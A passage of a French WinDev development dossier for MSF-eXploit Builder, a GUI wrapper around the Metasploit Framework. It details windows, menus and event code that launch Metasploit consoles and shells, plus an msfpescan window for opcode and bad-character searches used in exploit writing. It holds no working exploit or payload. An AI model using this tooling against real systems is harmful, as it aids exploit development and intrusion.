Visible Barre de titre Menu systèmeIcone réduction Icone agrandissement Icone aide ctx.Barre de message Détourer le fond Mode 9 imagesRedimensionnable Avec grip Grip dans imageDéplace/fond Sauve position Ascenseur auto.Gestion grande police Menu look XP Thème XPCtx. HF indép.

Etat initial ActifClic droit

Page 338: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 341

Curseur survol 0Menu contextuel

Fichier aide ctx.

Opacité 100Type cadre <Aucun>Transparence Vista NonTransparence gérée par Vista Non

Valide auto. 0Bouton auto.Lib. + tps restant OuiGroupe MDIPos. X Menu 8Pos. Y Menu 26M.C.U. OuiAnim. Ouverture 0Anim. Fermeture 0Durée Anim. Ouverture 100Durée Anim. Fermeture 50Adapte Taille contenu NonAssombri quand inactif OuiDéplace souris sur bouton par défaut Non

Fichier parcouru 0Rub. parcourue

ImageImage fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Bg_Base.gifIcone G:\Mes Projets\MSF-XB11\Yin Yang.icoImage poignée

Page 339: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 342

Statistiques de la fenêtreLibellé 1 Bouton 5

Superchamp 1 Option de menu 23

Case barre de message 1

Nombre d'éléments dans la fenêtre : 31

MSFXB_Menu Informations sur les champs

Fenêtre : MSFXB_MenuLibellé

Position Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

RADTitle 6 4 875 18 0 Actif Gauche Centre

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_Button1 0 -54 80 24 0 Actif Aide

Page 340: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 343

SuperchampPosition Position Largeur Hauteur Plan Visib Etat initial Touc

SCSystemButtons 887 1 128 18 0 Actif

Superchamp : SCSystemButtonsBouton

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SYST_FERMER 971 0 44 19 0 Actif Normal

BTN_SYST_MINIMIZE 921 0 26 19 0 Actif Normal

BTN_Syst_Maximize 947 0 25 19 0 Actif Normal

BTN_UMC 887 0 24 19 0 Actif Normal

Fenêtre : MSFXB_MenuBouton : BTN_Button1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: HelpGB:

Ordre navigation 1Curseur survol 0On/Off Non

Altitude 1

Numéro aide 5

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5

Page 341: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 344

Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : RADTitle

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: MSF-eXploit Builder - Jérôme ATHIAS (www.ja-psi.fr)GB: MSF-eXploit Builder - Jerome Athias (www.ja-psi.com)

Curseur survol 0Synchro Infos Partagées Non

Altitude 2

Numéro aide 0

Opacité 100

Mode ellipse A la finUnicode Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 342: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 345

Superchamp : SCSystemButtons

Note pour le dossier

FR,GB: FR,GB: Ce superchamp est très utile pour les fenêtres sans barre de titre.

En effet, il simule les boutons système de la barre de titre d'une fenêtre : - Fermer - Agrandir/Restaurer - Iconiser

Ordre navigation 2

Altitude 3Largeur externe 128Hauteur externe 18

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtonsBouton : SCSystemButtons.BTN_SYST_FERMER

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 1

Bulle d'aide FR,GB: Fermer

Page 343: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 346

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close_Anim.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SCSystemButtons.BTN_SYST_MINIMIZE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR,GB: RéduireNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Page 344: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 347

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SCSystemButtons.BTN_Syst_Maximize

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 2

Bulle d'aide FR,GB: AgrandirNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximise.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1

Page 345: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 348

Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SCSystemButtons.BTN_UMC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &BoutonOrdre navigation 168Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 346: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 349

MSFXB_Menu Informations sur les menus

Menu fenêtre

Nom des optionsOPT_Editor (1)

OPT_Editer (9)OPT_Nouveau (10)

OPT_Metasploit (2)OPT_Mettre_à_jour (3)OPT_Mettre_à_jour_Trunk (15)OPT_Metasploit_com (4)OPT_MSFweb (5)OPT_MSFgui (20)OPT_MSFconsole (21)OPT_CMD_Shell (7)OPT_NASM_Shell (6)OPT_RUBY_Shell (8)OPT_Explore (19)OPT_Securinfos_info (16)OPT_Metasploit_fr (17)

OPT_Paramètres (11)OPT_Langue (1000)

OPT_English (12)OPT_Français (13)

OPT_Use_Trunk_version (14)WinDevHelp (18)

Page 347: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 350

Libellé des options : FrançaisEditeur

EditerNouveau

MetasploitMettre à jourMettre à jour (Trunk)Metasploit.comMSFwebMSFguiMSFconsoleCMD ShellNASM ShellRUBY ShellExplorerSecurinfos.infoMetasploit.fr

ParamètresLangue

EnglishFrançais

Utiliser Trunk?

Libellé des options : AnglaisEditor

EditNew

MetasploitUpdateUpdate (Trunk)Metasploit.comMSFwebMSFguiMSFconsoleCMD ShellNASM ShellRUBY ShellExploreSecurinfos.infoMetasploit.fr

ParametersLang

EnglishFrançais

Page 348: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 351

Use Trunk?

Page 349: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 352

MSFXB_Menu Code des champs

Sélection du menu de _Menu.OPT_Editor.OPT_EditerOuvreFille(MSFXB_Editor)

Sélection du menu de _Menu.OPT_Editor.OPT_NouveauOuvreFille(MSFXB_Assistant)

Sélection du menu de _Menu.OPT_Metasploit.OPT_CMD_Shell// "C:\Program Files\Metasploit\Framework3\loader.cmd" shell.cmdLanceAppli(Caract(34)+ComplèteRep(gsCheminMSF3)+"loader.cmd"+Caract(34)+" shell.cmd", exeActif, exeNonBloquant, ComplèteRep(gsCheminMSF3))

Sélection du menu de _Menu.OPT_Metasploit.OPT_ExploreDDELance("explorer.exe "+gsCheminMSF3, DDEActif, Faux, gsCheminMSF3)

Sélection du menu de _Menu.OPT_Metasploit.OPT_Metasploit_comLanceAppliAssociée("http://www.metasploit.com")

Sélection du menu de _Menu.OPT_Metasploit.OPT_Metasploit_frLanceAppliAssociée("http://www.metasploit.fr")

Sélection du menu de _Menu.OPT_Metasploit.OPT_Mettre_à_jourfctMsfUpdate(0)

Sélection du menu de _Menu.OPT_Metasploit.OPT_Mettre_à_jour_Trunk

Page 350: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 353

fctMsfUpdate(1)

Sélection du menu de _Menu.OPT_Metasploit.OPT_MSFconsoleLanceAppli(Caract(34)+ComplèteRep(gsCheminMSF3)+"loader.cmd"+Caract(34)+" msfgconsole.cmd", exeActif,exeNonBloquant+exePID, gsCheminMSF3)

Sélection du menu de _Menu.OPT_Metasploit.OPT_MSFguifctMSFGUI()

Sélection du menu de _Menu.OPT_Metasploit.OPT_MSFweb//Test sur l'URL//http://127.0.0.1:55555SI HTTPRequête("http://127.0.0.1:55555") ALORS

SI ChaîneOccurrence(HTTPDonneRésultat(HTTPRésultat), "Metasploit") >0 ALORSLanceAppliAssociée("http://127.0.0.1:55555")

SINONfctLanceMSFweb()

FINSINON

fctLanceMSFweb()FIN

Sélection du menu de _Menu.OPT_Metasploit.OPT_NASM_Shell// "C:\Program Files\Metasploit\Framework3\loader.cmd" nasm.cmdLanceAppli(Caract(34)+ComplèteRep(gsCheminMSF3)+"loader.cmd"+Caract(34)+" nasm.cmd", exeActif, exeNonBloquant, ComplèteRep(gsCheminMSF3))

Sélection du menu de _Menu.OPT_Metasploit.OPT_RUBY_Shell// "C:\Program Files\Metasploit\Framework3\loader.cmd" msfirb.cmdLanceAppli(Caract(34)+ComplèteRep(gsCheminMSF3)+"loader.cmd"+Caract(34)+" msfirb.cmd", exeActif, exeNonBloquant, ComplèteRep(gsCheminMSF3))

Sélection du menu de _Menu.OPT_Metasploit.OPT_Securinfos_infoSI Nation=

Page 351: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 354

nationEnglish OR Nation=nationAmerican ALORSLanceAppliAssociée("https://www.securinfos.info/english/index.php")

SINON //FrançaisLanceAppliAssociée("https://www.securinfos.info")

FIN

Sélection du menu de _Menu.OPT_Paramètres.OPT_Langue.OPT_EnglishNation(nationEnglish)Use(MSFXB_Menu)

Sélection du menu de _Menu.OPT_Paramètres.OPT_Langue.OPT_FrançaisNation(nationFrench)Use(MSFXB_Menu)

Sélection du menu de _Menu.OPT_Paramètres.OPT_Use_Trunk_versionSI MoiMême..Checked=True ALORS

MoiMême..Checked=FalsegsCheminMSF3=INILit("CONFIG", "MSF3_PATH", SysRep(srProgramFiles)+"\Metasploit\Framework3\", sCheminINI)//3.x

ELSEMoiMême..Checked=TruegsCheminMSF3=INILit("CONFIG", "MSF3_TRUNK_PATH", SysRep(srProgramFiles)+"\Metasploit\Framework3\framework\msf3-trunk\", sCheminINI) //3.x

FIN

Clic sur BTN_Button1// Open the help page associated witht the current windowWHelp( "Help MSF-XB005.chm", NumHelp(MySelf))

Clic sur BTN_SYST_FERMER ( SCSystemButtons )

Clic sur BTN_Syst_Maximize ( SCSystemButtons )

Clic sur BTN_SYST_MINIMIZE ( SCSystemButtons )

Clic sur BTN_UMC ( SCSystemButtons )

Page 352: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 356

FEN_msfpescan Image

Page 353: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 357

Page 354: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 358

FEN_msfpescan Informations générales

FEN_msfpescan

Fichier physique G:\Mes Projets\MSF-XB11\FEN_msfpescan.wdw

Crée par JA

Date de création 11/04/2007 18:33:16

Dernière modification par JA-PSI

Date dernière modification 22/07/2008 08:01:03

Titre FR,GB: MSFpescan

Type fenêtre Fenêtre libre

Mode ouverture Centrée par rapport à la mère

Note pour le dossier

FR,GB: FR,GB:

Position X 0 Position Y 0 Largeur 640

Hauteur 492

Visible Barre de titre Menu systèmeIcone réduction Icone agrandissement Icone aide ctx.Barre de message Détourer le fond Mode 9 imagesRedimensionnable Avec grip Grip dans imageDéplace/fond Sauve position Ascenseur auto.Gestion grande police Menu look XP Thème XPCtx. HF indép.

Etat initial ActifClic droitCurseur survol 0

Page 355: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 359

Menu contextuel

Fichier aide ctx.

Opacité 100Type cadre <Aucun>Transparence Vista NonTransparence gérée par Vista Non

Valide auto. 0Bouton auto.Lib. + tps restant OuiGroupe MDIPos. X Menu 8Pos. Y Menu 26M.C.U. OuiAnim. Ouverture 41216Anim. Fermeture 41216Durée Anim. Ouverture 20Durée Anim. Fermeture 20Adapte Taille contenu NonAssombri quand inactif OuiDéplace souris sur bouton par défaut Non

Fichier parcouru 0Rub. parcourue

ImageImage fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Bg_Base.gifIconeImage poignée G:\Mes Projets\MSF-XB11\MediaPlayer_Resize.gif

Page 356: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 360

Statistiques de la fenêtreChamp de saisie 6 Libellé 1

Bouton 8 Interrupteur 1

Image 1 Table 1

Combo 1 Superchamp 2

Option de menu 1 Colonne de table 1

Case barre de message 1

Nombre d'éléments dans la fenêtre : 24

FEN_msfpescan Informations sur les champs

Fenêtre : FEN_msfpescanChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

PAYLOAD_BADCHARS 14 252 264 22 0 Grisé Texte

SAI_ADRESSE1 357 276 136 22 0 Actif Texte

SAI_ADRESSE2 522 276 104 22 0 Actif Texte

SAI_RESULT 14 318 612 138 0 Actif Texte

SAI_Valeur 211 276 67 22 0 Actif Numériqu

Page 357: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 361

LibelléPosition Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

RADTitle 9 4 491 18 0 Actif Gauche Centre

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_Bouton1 284 274 64 24 0 Actif Normal

BTN_Button1 0 -54 80 24 0 Actif Aide

BTN_REVERSE_AD 504 276 8 24 0 Actif Normal

InterrupteurPosition Position Largeur Hauteur Plan Visib Etat initial Touc Nb. colonnes Col. Trois

INT_AVOID_BADCHARS 284 251 209 23 0 Actif 1

ImagePosition Position Largeur Hauteur Plan Visib Etat initial Avec Priori Anim Avec

BTN_Syst_Restore 722 -19 14 14 0 Actif

TablePosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Utili Bloc Enre Multi Affic Asc. Bull Saisi Gest Mém Colonne Com

TABLE_DLLs 14 27 602 187 0 affichag Mémoire 0

ComboPosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Liste Avec Saisi Saisi NUL Bulle Défil

COMBO_Opcode 14 276 197 28 0 Actif Mémoire

Page 358: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 362

SuperchampPosition Position Largeur Hauteur Plan Visib Etat initial Touc

SCSystemButtons 506 1 128 18 0 Actif

SC_SelecteurFichier 14 226 603 25 0 Actif

Table : TABLE_DLLsColonne de table

Type Largeur Visib Etat initial Fixée Dépl Larg Colo Avec Cadrage horz. Cadrage vert. Type saisie Multi Form Liste Avec Saisi

COL_DLL 584 Actif Gauche Centre Texte

Superchamp : SCSystemButtonsBouton

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SYST_FERMER 590 0 44 19 0 Actif Normal

BTN_SYST_MINIMIZE 540 0 26 19 0 Actif Normal

BTN_Syst_Maximize 566 0 25 19 0 Actif Normal

BTN_UMC 506 0 24 19 0 Actif Normal

Superchamp : SC_SelecteurFichierChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

SAI_FIC 14 228 583 22 0 Actif Texte

Page 359: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 363

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SEL 596 230 18 52 0 Actif Normal

Fenêtre : FEN_msfpescanBouton : BTN_Bouton1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &pescanOrdre navigation 20Curseur survol 0On/Off Non

Altitude 6

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 360: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 364

Bouton : BTN_Button1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: HelpGB:

Ordre navigation 24Curseur survol 0On/Off Non

Altitude 10

Numéro aide 7

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 361: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 365

Bouton : BTN_REVERSE_AD

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 26Curseur survol 0On/Off Non

Altitude 12

Bulle d'aide FR: Adresse hexaGB: Address in hex

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST01325b-16-5.pngNb. états image 5Nb. états fond 1Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 362: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 366

Image : BTN_Syst_Restore

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Restore.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 3

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : COMBO_Opcode

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: OpcodeContenu initial FR,GB: OpcodeOrdre navigation 19Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Page 363: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 367

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 148Larg. déroulée perso. NonHauteur ligne 15Altitude 5Retrait gauche 2Position X interne 63Largeur interne 148

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 364: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 368

Interrupteur : INT_AVOID_BADCHARS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &InterrupteurGB: Check box

Valeur initiale 0Ordre navigation 28Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 14

Numéro aide 0

Opacité 100

Options FR: Filtrer les caractères interditsGB: Avoid badchars

Valeur persistante OuiOption multi-lignes NonOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Cbox_Anim.gif

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 365: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 369

Champ de saisie : PAYLOAD_BADCHARS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: BadcharsOrdre navigation 29Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 15Retrait gauche 2Position X interne 63Largeur interne 215

Bulle d'aide FR: Liste des caractères interdits (Format=\x00\x01)GB: List of badchars (Format=\x00\x01)

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Page 366: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 370

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : RADTitle

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: MSFpescanCurseur survol 0Synchro Infos Partagées Non

Altitude 1

Numéro aide 0

Opacité 100

Mode ellipse A la finUnicode Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 367: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 371

Champ de saisie : SAI_ADRESSE1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: AdresseGB: Address

Ordre navigation 25Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 11Retrait gauche 2Position X interne 403Largeur interne 90

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>

Page 368: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 372

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : SAI_ADRESSE2

Note pour le dossier

FR,GB: FR,GB:

